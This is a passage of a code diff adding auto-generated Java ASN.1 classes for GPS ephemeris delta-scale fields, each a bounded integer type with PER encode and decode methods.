+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getScale_delta_tgd();
+ }
+
+ @Override public void setToNewInstance() {
+ setScale_delta_tgdToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSEphemerisDeltaScales.scale_delta_tgdType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "scale_delta_tgd : "
+ + getScale_delta_tgd().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class scale_delta_omegaType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_scale_delta_omegaType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public scale_delta_omegaType() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_scale_delta_omegaType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_scale_delta_omegaType != null) {
+ return ImmutableList.of(TAG_scale_delta_omegaType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new scale_delta_omegaType from encoded stream.
+ */
+ public static scale_delta_omegaType fromPerUnaligned(byte[] encodedBytes) {
+ scale_delta_omegaType result = new scale_delta_omegaType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new scale_delta_omegaType from encoded stream.
+ */
+ public static scale_delta_omegaType fromPerAligned(byte[] encodedBytes) {
+ scale_delta_omegaType result = new scale_delta_omegaType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "scale_delta_omegaType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class scale_delta_deltaNType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_scale_delta_deltaNType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public scale_delta_deltaNType() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_scale_delta_deltaNType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_scale_delta_deltaNType != null) {
+ return ImmutableList.of(TAG_scale_delta_deltaNType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new scale_delta_deltaNType from encoded stream.
+ */
+ public static scale_delta_deltaNType fromPerUnaligned(byte[] encodedBytes) {
+ scale_delta_deltaNType result = new scale_delta_deltaNType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new scale_delta_deltaNType from encoded stream.
+ */
+ public static scale_delta_deltaNType fromPerAligned(byte[] encodedBytes) {
+ scale_delta_deltaNType result = new scale_delta_deltaNType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "scale_delta_deltaNType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class scale_delta_m0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_scale_delta_m0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public scale_delta_m0Type() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_scale_delta_m0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_scale_delta_m0Type != null) {
+ return ImmutableList.of(TAG_scale_delta_m0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new scale_delta_m0Type from encoded stream.
+ */
+ public static scale_delta_m0Type fromPerUnaligned(byte[] encodedBytes) {
+ scale_delta_m0Type result = new scale_delta_m0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new scale_delta_m0Type from encoded stream.
+ */
+ public static scale_delta_m0Type fromPerAligned(byte[] encodedBytes) {
+ scale_delta_m0Type result = new scale_delta_m0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "scale_delta_m0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class scale_delta_omegadotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_scale_delta_omegadotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public scale_delta_omegadotType() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_scale_delta_omegadotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_scale_delta_omegadotType != null) {
+ return ImmutableList.of(TAG_scale_delta_omegadotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new scale_delta_omegadotType from encoded stream.
+ */
+ public static scale_delta_omegadotType fromPerUnaligned(byte[] encodedBytes) {
+ scale_delta_omegadotType result = new scale_delta_omegadotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new scale_delta_omegadotType from encoded stream.
+ */
+ public static scale_delta_omegadotType fromPerAligned(byte[] encodedBytes) {
+ scale_delta_omegadotType result = new scale_delta_omegadotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "scale_delta_omegadotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class scale_delta_eType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_scale_delta_eType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public scale_delta_eType() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_scale_delta_eType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_scale_delta_eType != null) {
+ return ImmutableList.of(TAG_scale_delta_eType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new scale_delta_eType from encoded stream.
+ */
+ public static scale_delta_eType fromPerUnaligned(byte[] encodedBytes) {
+ scale_delta_eType result = new scale_delta_eType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new scale_delta_eType from encoded stream.
+ */
+ public static scale_delta_eType fromPerAligned(byte[] encodedBytes) {
+ scale_delta_eType result = new scale_delta_eType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "scale_delta_eType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class scale_delta_idotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_scale_delta_idotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public scale_delta_idotType() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_scale_delta_idotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_scale_delta_idotType != null) {
+ return ImmutableList.of(TAG_scale_delta_idotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new scale_delta_idotType from encoded stream.
+ */
+ public static scale_delta_idotType fromPerUnaligned(byte[] encodedBytes) {
+ scale_delta_idotType result = new scale_delta_idotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new scale_delta_idotType from encoded stream.
+ */
+ public static scale_delta_idotType fromPerAligned(byte[] encodedBytes) {
+ scale_delta_idotType result = new scale_delta_idotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "scale_delta_idotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class scale_delta_sqrtAType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_scale_delta_sqrtAType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public scale_delta_sqrtAType() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_scale_delta_sqrtAType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_scale_delta_sqrtAType != null) {
+ return ImmutableList.of(TAG_scale_delta_sqrtAType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new scale_delta_sqrtAType from encoded stream.
+ */
+ public static scale_delta_sqrtAType fromPerUnaligned(byte[] encodedBytes) {
+ scale_delta_sqrtAType result = new scale_delta_sqrtAType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new scale_delta_sqrtAType from encoded stream.
+ */
+ public static scale_delta_sqrtAType fromPerAligned(byte[] encodedBytes) {
+ scale_delta_sqrtAType result = new scale_delta_sqrtAType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "scale_delta_sqrtAType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class scale_delta_i0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_scale_delta_i0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public scale_delta_i0Type() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_scale_delta_i0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_scale_delta_i0Type != null) {
+ return ImmutableList.of(TAG_scale_delta_i0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new scale_delta_i0Type from encoded stream.
+ */
+ public static scale_delta_i0Type fromPerUnaligned(byte[] encodedBytes) {
+ scale_delta_i0Type result = new scale_delta_i0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new scale_delta_i0Type from encoded stream.
+ */
+ public static scale_delta_i0Type fromPerAligned(byte[] encodedBytes) {
+ scale_delta_i0Type result = new scale_delta_i0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "scale_delta_i0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class scale_delta_omega0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_scale_delta_omega0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public scale_delta_omega0Type() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_scale_delta_omega0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_scale_delta_omega0Type != null) {
+ return ImmutableList.of(TAG_scale_delta_omega0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new scale_delta_omega0Type from encoded stream.
+ */
+ public static scale_delta_omega0Type fromPerUnaligned(byte[] encodedBytes) {
+ scale_delta_omega0Type result = new scale_delta_omega0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new scale_delta_omega0Type from encoded stream.
+ */
+ public static scale_delta_omega0Type fromPerAligned(byte[] encodedBytes) {
+ scale_delta_omega0Type result = new scale_delta_omega0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "scale_delta_omega0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class scale_delta_crsType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_scale_delta_crsType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public scale_delta_crsType() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_scale_delta_crsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_scale_delta_crsType != null) {
+ return ImmutableList.of(TAG_scale_delta_crsType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new scale_delta_crsType from encoded stream.
+ */
+ public static scale_delta_crsType fromPerUnaligned(byte[] encodedBytes) {
+ scale_delta_crsType result = new scale_delta_crsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new scale_delta_crsType from encoded stream.
+ */
+ public static scale_delta_crsType fromPerAligned(byte[] encodedBytes) {
+ scale_delta_crsType result = new scale_delta_crsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "scale_delta_crsType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class scale_delta_cisType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_scale_delta_cisType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public scale_delta_cisType() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_scale_delta_cisType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_scale_delta_cisType != null) {
+ return ImmutableList.of(TAG_scale_delta_cisType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new scale_delta_cisType from encoded stream.
+ */
+ public static scale_delta_cisType fromPerUnaligned(byte[] encodedBytes) {
+ scale_delta_cisType result = new scale_delta_cisType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new scale_delta_cisType from encoded stream.
+ */
+ public static scale_delta_cisType fromPerAligned(byte[] encodedBytes) {
+ scale_delta_cisType result = new scale_delta_cisType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "scale_delta_cisType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class scale_delta_cusType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_scale_delta_cusType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public scale_delta_cusType() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_scale_delta_cusType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_scale_delta_cusType != null) {
+ return ImmutableList.of(TAG_scale_delta_cusType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new scale_delta_cusType from encoded stream.
+ */
+ public static scale_delta_cusType fromPerUnaligned(byte[] encodedBytes) {
+ scale_delta_cusType result = new scale_delta_cusType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new scale_delta_cusType from encoded stream.
+ */
+ public static scale_delta_cusType fromPerAligned(byte[] encodedBytes) {
+ scale_delta_cusType result = new scale_delta_cusType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "scale_delta_cusType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class scale_delta_crcType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_scale_delta_crcType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public scale_delta_crcType() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_scale_delta_crcType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_scale_delta_crcType != null) {
+ return ImmutableList.of(TAG_scale_delta_crcType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new scale_delta_crcType from encoded stream.
+ */
+ public static scale_delta_crcType fromPerUnaligned(byte[] encodedBytes) {
+ scale_delta_crcType result = new scale_delta_crcType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new scale_delta_crcType from encoded stream.
+ */
+ public static scale_delta_crcType fromPerAligned(byte[] encodedBytes) {
+ scale_delta_crcType result = new scale_delta_crcType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "scale_delta_crcType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class scale_delta_cicType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_scale_delta_cicType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public scale_delta_cicType() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_scale_delta_cicType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_scale_delta_cicType != null) {
+ return ImmutableList.of(TAG_scale_delta_cicType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new scale_delta_cicType from encoded stream.
+ */
+ public static scale_delta_cicType fromPerUnaligned(byte[] encodedBytes) {
+ scale_delta_cicType result = new scale_delta_cicType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new scale_delta_cicType from encoded stream.
+ */
+ public static scale_delta_cicType fromPerAligned(byte[] encodedBytes) {
+ scale_delta_cicType result = new scale_delta_cicType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "scale_delta_cicType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class scale_delta_cucType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_scale_delta_cucType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public scale_delta_cucType() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_scale_delta_cucType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_scale_delta_cucType != null) {
+ return ImmutableList.of(TAG_scale_delta_cucType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new scale_delta_cucType from encoded stream.
+ */
+ public static scale_delta_cucType fromPerUnaligned(byte[] encodedBytes) {
+ scale_delta_cucType result = new scale_delta_cucType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new scale_delta_cucType from encoded stream.
+ */
+ public static scale_delta_cucType fromPerAligned(byte[] encodedBytes) {
+ scale_delta_cucType result = new scale_delta_cucType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "scale_delta_cucType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class scale_delta_tgdType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_scale_delta_tgdType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public scale_delta_tgdType() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_scale_delta_tgdType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_scale_delta_tgdType != null) {
+ return ImmutableList.of(TAG_scale_delta_tgdType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new scale_delta_tgdType from encoded stream.
+ */
+ public static scale_delta_tgdType fromPerUnaligned(byte[] encodedBytes) {
+ scale_delta_tgdType result = new scale_delta_tgdType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new scale_delta_tgdType from encoded stream.
+ */
+ public static scale_delta_tgdType fromPerAligned(byte[] encodedBytes) {
+ scale_delta_tgdType result = new scale_delta_tgdType();
